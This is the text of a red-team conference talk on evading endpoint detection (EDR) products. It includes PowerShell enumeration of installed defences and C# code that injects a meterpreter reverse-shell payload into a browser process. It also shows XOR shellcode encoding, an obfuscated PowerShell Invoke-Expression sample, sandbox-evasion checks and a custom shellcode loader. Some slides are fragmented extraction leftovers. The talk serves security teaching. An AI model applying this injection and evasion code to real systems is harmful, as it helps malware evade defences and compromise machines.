



> **EDR evasion 101**  
> **in a professional hacker Red Team**

... by André Lima (0x4ndr3) @ Bsidés Kristiansand 2025

# > whoami

```
Windows PowerShell
PS C:\Users\andre\bsides_kristiansand_2025> type .\whoami.txt

- Red Team Lead & Researcher @ ADVISENSE
- Speaker/Research:
  - Bsides Kristiansand 2025
  - Sikkerhetsfestivalen 2023, 2024, 2025
  - TIBER-EU Provider Conference 2024
  - Bsides Oslo 2022, 2023
  - Bsides Lisbon 2022
- Worked previously in Portugal (Lisbon), and Australia (Melbourne)
- Blogger:
  - [new] https://medium.com/@0x4ndr3
  - [prev] https://pentesterslife.blog
- YouTube (Exploit Development | Format Strings Series):
  - search for "0x4ndr3"
- OSED; eCRE; SLAE64; CISSP; etc
```



ktrlpanel ep2 - André Lima


# > Content today

- how does an EDR work?
- approaches to evasion
- attack surface recon
- bypassing static analysis
- bypassing dynamic analysis
- the "professional" side of it
- some resources to learn from



# > Quick note on “names”

- EDR (Endpoint Detection and Response) = Tool focused on endpoints.
- XDR (Extended Detection and Response) = Tool with cross-platform visibility.
- MDR (Managed Detection and Response) = Service where others run EDR/XDR for you.



# How does an EDR work?

- Depends on level of sophistication
- But most modern ones will have:
  - Sensors
  - Scanners: static & dynamic analysis



# How does an EDR work?





Minifilter  
driver



Minifilter  
driver



KM driver





Minifilter  
driver



KM driver



Network filter



## Minifilter driver




## KM driver



## Network filter



## ELAM driver



Minifilter  
driver




KM driver



Network filter



ELAM driver



ETW




# Approaches to evasion

- Disable a sensor or multiple sensors
  - may require a rootkit to disable: minifilter, driver, network filter, ETW
- Disable the agent (responsible for scanning)
  - KM proc killer (BYOVD)
- Not care...
  - Write your custom payloads/malware
    - Unhook DLLs
    - Direct syscalls
    - Indirect syscalls
    - Custom shellcode
  - Automate alterations in pub repo code (ex: Seatbelt, mimikatz, etc)






Disclaimer: this is not the full encyclopaedia on EDR evasion!



# First things first...

- Which CPU architecture or OS?
- Which programming language?



# Attack surface recon

```
Administrator: Windows Powe
PS C:\> Get-WmiObject -Namespace "root\SecurityCenter2" -Query "SELECT * FROM Antivirus
Product" | Select-Object displayname

displayname
-----
Windows Defender

PS C:\> Get-Service | Where-Object { $_.DisplayName -like "*McAfee*" -or $_.DisplayName
-like "*Symantec*" -or $_.DisplayName -like "*Defender*" }

Status      Name              DisplayName
-----
Running     MDCoreSvc         Microsoft Defender Core Service
Running     mpssvc            Windows Defender Firewall
Stopped     Sense             Windows Defender Advanced Threat Pr...
Running     WdNisSvc          Microsoft Defender Antivirus Networ...
Running     WinDefend         Microsoft Defender Antivirus Service

PS C:\> Get-Process | Where-Object { $_.ProcessName -like "*McShield*" -or $_.ProcessNa
me -like "*mp*" }

Handles  NPM(K)  PM(K)  WS(K)  CPU(s)  Id  SI ProcessName
-----
0        0       6724   2944260  550.36  4712  0 Memory Compression
481      18      16868   23476   49.16  50808  0 MpDefenderCoreService
1487     252    441972  371892  12,678.48  7880  0 MsMpEng
202      11      3356   11248   60.23  10084  0 vmcompute

PS C:\> |
```





# Attack surface recon

```
Administrator: Windows Powe
PS C:\> fltmc filters
```

Filter Name	Num Instances	Altitude	Frame
bindflt	1	409800	0
UCPD	13	385250.5	0
WdFilter	13	328010	0
storqosflt	1	244000	0
wcifs	0	189900	0
WIMMount	8	180700	0
CldFlt	6	180451	0
bfs	15	150000	0
FileCrypt	0	141100	0
luafv	1	135000	0
UnionFS	0	130850	0
npsvc trig	1	46000	0
Wof	8	40700	0
FileInfo	13	40500	0

```
PS C:\> |
```




# Attack surface recon

```
Administrator: Windows PowerShell
PS C:\> Get-WmiObject -Class Win32_SystemDriver |
>> Where-Object {$_.State -eq 'Running'} |
>> Select-Object State, Started, Status, Name, DisplayName | Where-Object { $_ -like "*defender*" } |
>> Format-Table -AutoSize
```

State	Started	Status	Name	DisplayName
Running	True	OK	mpsdrv	Windows Defender Firewall Authorization Driver
Running	True	OK	WdFilter	Microsoft Defender Antivirus Mini-Filter Driver
Running	True	OK	WdNisDrv	Microsoft Defender Antivirus Network Inspection Sys...



# Attack surface recon



```
PS C:\> Get-MpComputerStatus | Select AMServiceEnabled, AMServiceVersion, AntispywareEnabled, AntivirusEnabled, NISEnabled | Select-Object

AMServiceEnabled : True
AMServiceVersion : 4.18.25040.2
AntispywareEnabled : True
AntivirusEnabled : True
NISEnabled : True

PS C:\> |
```



# Attack surface recon

```
Administrator: Windows PowerShell
PS C:\> Get-MpComputerStatus | Select-Object AntispywareEnabled, AntivirusEnabled, NISEnabled | Sort-Object

AMServiceEnabled : True
AMServiceVersion : 4.18.25040.2
AntispywareEnabled : True
AntivirusEnabled : True
NISEnabled : True

PS C:\> |
```

4.18.25040.2-0

< > ↑ ↺ > This PC > OS (C:) > ProgramData > Microsoft > Windows Defender > Platform > 4.18.25040.2-0 >

New ▾ ↑↓ Sort ▾ ≡ View ▾ ⋮

	Name	Date modified	Type	Size
Gallery	MsMpEng.exe	22/05/2025 10:36	Application	272 KB
OneDrive - Persc	NisSrv.exe	22/05/2025 10:36	Application	4,420 KB
Desktop	DefenderCSP.dll	22/05/2025 10:36	Application extens...	482 KB
	endpointdlp.dll	22/05/2025 10:36	Application extens...	1,490 KB

< > ... OS (C:) > ProgramData > Microsoft > Windows Defender > Platform > 4.18.25040.2-0 > Drivers

↑↓ Sort ▾ ≡ View ▾ ⋮

	Name	Date modified	Type	Size
	ksld.sys	22/05/2025 10:36	System file	324 KB
	WdBoot.sys	22/05/2025 10:36	System file	20 KB
	WdDevFlt.sys	22/05/2025 10:36	System file	262 KB
	WdFilter.sys	22/05/2025 10:36	System file	593 KB
	WdNisDrv.sys	22/05/2025 10:36	System file	99 KB


# Bypassing static analysis

Comes down to obfuscation:

- Packers (obfuscate final payload): VMProtect
- LLVM (obfuscates at compile time): llvm
- Custom...

What is the goal:


- Simply gain access?
  - Keep obfuscation to its simplest form
- Emulate a specific threat actor? (ex: TLPT)
  - Might have to copy the obfuscation technique executed by the threat actor



# Bypassing static analysis

#P1:

- Known (msfvenom) shellcode
- No static analysis protection



# Bypassing static analysis

```
// Get handle to explorer.exe
Process[] expProc = Process.GetProcessesByName("msedge");
int pid = expProc[0].Id;

IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);

// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.79.130 LPORT=443 EXITFUNC=thread -f csharp -> staged payload
byte[] buf = new byte[511]{...};

IntPtr outSize;
WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);

IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
```





# Bypassing static analysis

```
// Get handle to explorer.exe
Process[] expProc = Process.GetProcessesByName("msedge");
int pid = expProc[0].Id;

IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
```

```
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.79.130 LPORT=443 EXITFUNC=thread -f csharp
byte[] buf = new byte[511] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
    0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,
    0x51,0x56,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
    0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x4d,0x31,0xc9,0x48,0x0f,
    0xb7,0x4a,0x4a,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,
    0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,
    0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x66,
    0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
    0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
    0xd0,0x8b,0x48,0x18,0x50,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
    0xe3,0x56,0x4d,0x31,0xc9,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,
    0x48,0x01,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,0x0d,0xac,0x41,
    0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
    0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0
```



A screenshot of a Windows Security notification window. The window has a title bar with a shield icon, the text 'Threat quarantined', and the date/time '01/06/2025 17:42'. On the right side of the title bar, it says 'Severe' with an upward arrow. The main content area shows: 'Detected: Trojan:Win64/Meterpreter.B', 'Status: Quarantined', and a paragraph: 'Quarantined files are in a restricted area where they can't harm your device. They will be removed automatically.' Below this, it says 'Date: 01/06/2025 17:43' and 'Details: This program is dangerous and executes commands from an attacker.' Under the heading 'Affected items:', it lists 'file: C:\Users\andre\Desktop\p1.exe'. At the bottom left is a 'Learn more' link. The background of the image shows a dark-themed terminal window with C# code for process enumeration and memory allocation.

```
// msfvenom -p windows/x64/meterpreter/rpc
byte[] buf = new byte[511] {0xfc,0x48,0x8b,
    0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x51,
    0x51,0x56,0x65,0x48,0x8b,0x52,0x60,0x52,
    0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x51,
    0xb7,0x4a,0x4a,0x48,0x31,0xc0,0xac,0x52,
    0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0x04,
    0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x51,
    0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x01,
    0x80,0x88,0x00,0x00,0x00,0x48,0x85,0x01,
    0xd0,0x8b,0x48,0x18,0x50,0x44,0x8b,0x01,
    0xe3,0x56,0x4d,0x31,0xc9,0x48,0xff,0x52,
    0x48,0x01,0xd6,0x48,0x31,0xc0,0x41,0x01,
    0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x01,
    0x20,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x01,
```

```
-f csharp
```

# Bypassing static analysis

#P2:

- Known (msfvenom) shellcode
- Static analysis protection
- Dynamic analysis protection



# Bypassing static analysis

```
0x6a,0x00,0x59,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0x89,0xda,0x11,  
0xd5};  
  
uint XOR_KEY = 0x2f; // make sure it's one byte long: 0-255  
byte[] encoded = new byte[buf.Length];  
for (int i = 0; i < buf.Length; i++)  
{  
    encoded[i] = (byte)((uint)buf[i] ^ XOR_KEY);  
}  
StringBuilder hex = new StringBuilder(encoded.Length * 2);
```



# Bypassing static analysis

```
0x6a,0x00,0x59,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0x89,0xda,0x11,  
0xd5}.  
  
byte[] buf = new byte[511] { 0xd3, 0x67, 0xac, 0xcb, 0xdf, 0xc7,  
uint XOR_KEY = 0x2f; // make sure it's one byte long: 0-255  
for (int i = 0; i < buf.Length; i++)  
{  
    buf[i] = (byte)((((uint)buf[i] ^ XOR_KEY) & 0xFF);  
}  
StringBuilder hex = new StringBuilder(encoded.Length * 2).
```



# Bypassing static analysis


```
1 function Invoke-Evil
2 {
3     $xorKey = 123
4
5     $code = "LHsJexJ7D3see1Z7M3sUewh7D3tbe1x7C3sMexV7H3tae1x7"
6     $bytes = [Convert]::FromBase64String($code)
7     $newBytes = foreach($byte in $bytes) { $byte -bxor $xorKey }
8
9     $newCode = [System.Text.Encoding]::Unicode.GetString($newBytes)
10
11     Invoke-Expression $newCode
12 }
13 Invoke-Evil
```

At this point, we're generally past what antivirus engines will emulate or detect, so we won't necessarily detect what this script is doing. However, we can start to write signatures against the obfuscation and encoding techniques. In fact, that's what accounts for the vast majority of signatures for script-based malware.

<https://learn.microsoft.com/en-us/windows/win32/amsi/how-amsi-helps>



# Bypassing dynamic analysis

- breaking the runtime implementation
  - malloc XX GB of mem
  - divide by zero (implementing exception handling in a virtualized env is hard)
  - shellcode loader using exception handler
- breaking the system implementation
  - check if process is its own father
  - check params
  - count handles
  - use non-emulated APIs
- breaking the environment implementation
  - reach out to non-existing URL 
  - is office (or any other expected software) installed?
  - check process name
  - env vars implemented?





# Bypassing dynamic analysis


- breaking
- ma
- di
- sh
- breaking
- ch
- ch
- co
- us
- breaking
- re
- is
- ch
- en



in a virtualized env is hard)


alled?

# Bypassing dynamic analysis

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  - malloc XX GB of mem
  - divide by zero (implementing exception handling in a virtualized env is hard)
  - shellcode loader using exception handler
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  - count handles
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# Bypassing dynamic analysis

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  - malloc XX GB of mem
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  - shellcode loader using exception handler
- breaking the system implementation
  - check if process is its own father
  - check params
  - count handles
  - use non-emulated APIs
- breaking the environment implementation
  - reach out to non-existing URL 
  - is office (or any other expected software) installed?
  - check process name
  - env vars implemented?

Most importantly: if you know anything specific about the target system = GAME OVER!




# Bypassing dynamic analysis

#P2:

- Known (msfvenom) shellcode
- Static analysis protection
- Dynamic analysis protection

```
0 references
static void Main(string[] args)
{
    DateTime t1 = DateTime.Now;
    Sleep(2000);
    double t2 = DateTime.Now.Subtract(t1).TotalSeconds;
    if (t2 < 1.5)
    {
        return;
    }
}
```



# Bypass:

#P2:

- Known (msfvenom)
- Static analysis
- Dynamic analysis

```
PS C:\Users\andre\Desktop> .\p2.exe  
PID injected: 2528  
PS C:\Users\andre\Desktop>
```

```
Administrator: PowerShell  
[*] Scanning: C:\Windows\System32\msctf.dll  
[*] Scanning: C:\Windows\System32\ws2_32.dll  
[*] Scanning: C:\Windows\System32\mswsock.dll  
Scanning workingset: 290 memory regions.  
[*] Workingset scanned in 0 ms.  
[+] Report dumped to: process_2528  
[*] Dumped module to: C:\Users\andre\Desktop\proc  
[+] Dumped modified to: process_2528  
[+] Report dumped to: process_2528  
---  
PID: 2528  
---  
SUMMARY:  
  
Total scanned:      23  
Skipped:            0  
-  
Hooked:             0  
Replaced:           0  
Hdrs Modified:      0  
IAT Hooks:          0  
Implanted:          1  
Implanted PE:       0  
Implanted shc:      1  
Unreachable files:  0  
Other:              0  
-  
Total suspicious:   1  
---
```




# Analysis



# Putting it all together

#P3:

- Custom shellcode
- Static analysis protection ?
- Dynamic analysis protection



```
"    int3                ;" # __debugbreak()

)

# Initialize engine in 64-Bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_64)
instructions, count = ks.asm(SHELLCODE)

sh = b""
output = ""
for opcode in instructions:
    sh += struct.pack("B", opcode)
    output += "\\x{0:02x}".format(int(opcode)).rstrip("\n")

shellcode = bytearray(sh)
print("Shellcode: " + output )
print("Shellcode Length: " + str(int(len(output)/4)) )

print("Attaching debugger to " + str(os.getpid()));
subprocess.Popen(["WinDbgX", "/g", "/p", str(os.getpid())], shell=True)
input("Press any key to continue...");

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ctypes.windll.kernel32.RtlCopyMemory.argtypes = ( ctypes.c_void_p, ctypes.c_void_p, ctypes.c_int )
ctypes.windll.kernel32.CreateThread.argtypes = ( ctypes.c_int,
```



# Putting it all together

```

    "    int3                                     ;" # __debugbreak()

)

# Initialize engine in 64-Bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_64)
instructions, count = ks.asm(SHELLCODE)

sh = b""
output = ""
for opcode in instructions:
    sh += struct.pack("B", opcode)
    output += "\\x{0:02x}".format(int(opcode)).rstrip("\n")

shellcode = bytearray(sh)
print("Shellcode: " + output )
print("Shellcode Length: " + str(int(len(output)/4)) )

print("Attaching debugger to " + str(os.getpid()));
subprocess.Popen(["WinDbgX", "/g", "/p", str(os.getpid())], shell=True)
input("Press any key to continue...");

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ctypes.windll.kernel32.RtlCopyMemory.argtypes = ( ctypes.c_void_p, ctypes.c_void_p, ctypes.c_int )
ctypes.windll.kernel32.CreateThread.argtypes = ( ctypes.c_int, ctypes.c_int, ctypes.c_void_p, ctypes.c_void_p, ctypes.c_int, ctypes.c_int )

```

```
PowerShell X + v
PS C:\Users\andre\Desktop> .\p3.exe
PID injected: 1676
PS C:\Users\andre\Desktop>

Administrator: PowerShell X + v
PS C:\Users\andre\Desktop> .\pe-sieve64.exe /pid 1676 /shellc 4 /data 0
PID: 1676
Output filter: no filter: dump everything (default)
Dump mode: autodetect (default)
[*] Using raw process!
[*] Scanning: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
[*] Scanning: C:\Windows\System32\ntdll.dll
[*] Scanning: C:\Windows\System32\kernel32.dll
[*] Scanning: C:\Windows\System32\KERNELBASE.dll
[*] Scanning: C:\Program Files (x86)\Microsoft\Edge\Application\120.0.2216
[*] Scanning: C:\Windows\System32\oleaut32.dll
[*] Scanning: C:\Windows\System32\msvcp_win.dll
[*] Scanning: C:\Windows\System32\ucrtdbase.dll
[*] Scanning: C:\Windows\System32\combase.dll
[*] Scanning: C:\Windows\System32\rpcrt4.dll
[*] Scanning: C:\Windows\System32\bcryptprimitives.dll
[*] Scanning: C:\Windows\System32\advapi32.dll
[*] Scanning: C:\Windows\System32\msvcrt.dll
[*] Scanning: C:\Windows\System32\sechost.dll
[*] Scanning: C:\Program Files (x86)\Microsoft\Edge\Application\120.0.2216
[*] Scanning: C:\Windows\System32\winmm.dll
[*] Scanning: C:\Windows\System32\user32.dll
[*] Scanning: C:\Windows\System32\win32u.dll
[*] Scanning: C:\Windows\System32\gdi32.dll
[*] Scanning: C:\Windows\System32\gdi32full.dll
[*] Scanning: C:\Windows\System32\imm32.dll
[*] Scanning: C:\Windows\System32\IPHLPAPI.DLL
[*] Scanning: C:\Windows\System32\ntsi.dll
[*] Scanning: C:\Windows\System32\dhcpcsvc6.DLL
[*] Scanning: C:\Windows\System32\ole32.dll
[*] Scanning: C:\Windows\System32\kernel.appcore.dll
```



# Putting it all

```
    "    int3                ;" # __debugbreak()
)

# Initialize engine in 64-Bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_64)
instructions, count = ks.asm(SHELLCODE)

sh = b""
output = ""
for opcode in instructions:
    sh += struct.pack("B", opcode)
    output += "\\x{0:02x}".format(int(opcode)).rstrip("\n")

shellcode = bytearray(sh)
print("Shellcode: " + output )
print("Shellcode Length: " + str(int(len(output)/4)) )

print("Attaching debugger to " + str(os.getpid()));
subprocess.Popen(["WinDbgX", "/g", "/p", str(os.getpid())], sh)
input("Press any key to continue...");

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ctypes.windll.kernel32.RtlCopyMemory.argtypes = ( ctypes.c_void_p, ctypes.c_void_p, ctypes.c_int)
ctypes.windll.kernel32.CreateThread.argtypes = ( ctypes.c_int,
```

```
[*] Scanning: C:\Windows\System32\rpcrt4.dll
[*] Scanning: C:\Windows\System32\bcryptprimitives.dll
[*] Scanning: C:\Windows\System32\advapi32.dll
[*] Scanning: C:\Windows\System32\msvcrt.dll
[*] Scanning: C:\Windows\System32\sechost.dll
[*] Scanning: C:\Program Files (x86)\Microsoft\Edge\Application\120.0.2216
[*] Scanning: C:\Windows\System32\winmm.dll
[*] Scanning: C:\Windows\System32\user32.dll
[*] Scanning: C:\Windows\System32\win32u.dll
[*] Scanning: C:\Windows\System32\gdi32.dll
[*] Scanning: C:\Windows\System32\gdi32full.dll
[*] Scanning: C:\Windows\System32\imm32.dll
[*] Scanning: C:\Windows\System32\IPHLPAPI.DLL
[*] Scanning: C:\Windows\System32\nsi.dll
[*] Scanning: C:\Windows\System32\dhcpcsvc6.DLL
[*] Scanning: C:\Windows\System32\ole32.dll
[*] Scanning: C:\Windows\System32\kernel.appcore.dll
[*] Scanning: C:\Windows\System32\uxtheme.dll
[*] Scanning: C:\Windows\System32\dhcpcsvc.dll
[*] Scanning: C:\Windows\System32\dnsapi.dll
[*] Scanning: C:\Windows\System32\ws2_32.dll
[*] Scanning: C:\Windows\System32\nlansp_c.dll
[*] Scanning: C:\Windows\System32\mswsock.dll
[*] Scanning: C:\Windows\System32\rasadhlp.dll
[*] Scanning: C:\Windows\System32\ntmarta.dll
Scanning workingset: 601 memory regions.
[*] Workingset scanned in 15 ms.
```

PID: 1676


SUMMARY:

Total scanned:	34
Skipped:	0
-	
Hooked:	0
Replaced:	0
Hdrs Modified:	0
IAT Hooks:	0
Implanted:	0
Unreachable files:	0
Other:	0
-	
Total suspicious:	0

PS C:\Users\andre\Desktop> |




# Putting it all together




```
← → ↻ 🔒 https://www.hick.org/code/skape/shellcode/win32/connectback9x.c
* LoadLibraryA      -> ec0e4e8e
* CreatePipe        -> 170c8f80
* GetCurrentProcess -> 7b8f17e6
* DuplicateHandle   -> bd566724
* CloseHandle       -> 0ffd97fb
* CreateProcessA    -> 16b3fe72
* PeekNamedPipe     -> b407c411
* ReadFile          -> 10fa6516
* WriteFile         -> e80a791f
* Sleep             -> db2d49b0
* ExitProcess       -> 73e2d87e
*
* ws2_32
*
* WSASStartup        -> 3bfcedcb
* WSASocketA         -> adf509d9
* connect            -> 60aaf9ec
* ioctlsocket        -> ede29208
* recv               -> e71819b6
* send               -> e97019a4
*
* ehb10x00 -> unused
```




# Putting it all together




Just one more thing...



# Just one more thing...



 **TREND** micro **Business**

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**Ransomware**

## AvosLocker Ransomware Variant Abuses Driver File to Disable Antivirus, Scans for Log4shell

We found an AvosLocker ransomware variant using a legitimate antivirus component to disable detection and blocking solutions.

By: Christopher Ordonez, Alvin Nieto  
May 02, 2022  
Read time: 7 min (1825 words)

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A square QR code with a black and white pixelated pattern. In the center of the QR code, there is a small, dark silhouette of a person standing with their arms outstretched.





Disclaimer: this is not the full encyclopaedia on EDR evasion!



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Life in the Windows Kernel for Red Teams




Andre Lima

BSides Oslo 2022

49:54




ANDRE LIMA - WINDOWS KERNEL ROOTKITS FOR RED TEAMS



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In this presentation, André goes through details of not only things to consider wh...

4K

25 chapters Introduction | Who am I | Why kernel...



# The professional side of it

- Documentation



- Automation





# Some tips










- Avoid re-writing a whole set of tools: you're in a red team, not a software development company

⚠ There are 2 Ts in TTP. None of them stand for "Tool"


- Master RE skill set
- Learn defensive techniques! You can't bypass something you do not understand.
- Create an EDR lab



# Some resources to learn from - books



# Some resources to learn from - utube




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 [0x4ndr3](https://twitter.com/0x4ndr3)

<https://andrelima.info>

## Next?

Sikkerhetsfestivalen 2025

Tuesday 10:45 AM · 30 min · 3 - Frimurerlosjen, rom 2

**Malware detection... with type-1 hypervisors**



André Lima

Advisense, Team Leader of Cyber Operations

In this presentation, I will be setting up the stage by showcasing (demo) a write-what-where attack to disable the Windows kernel protection (Driver Signature Enforcement) to then be able to load a malicious driver through an explanation of how type-1 hypervisors work, and then do another demo of a type-1 hypervisor attack.

Next to the more interesting live demos I will make sure to introduce the audience to the basics of how type-1 hypervisors work and then do another demo of a type-1 hypervisor attack.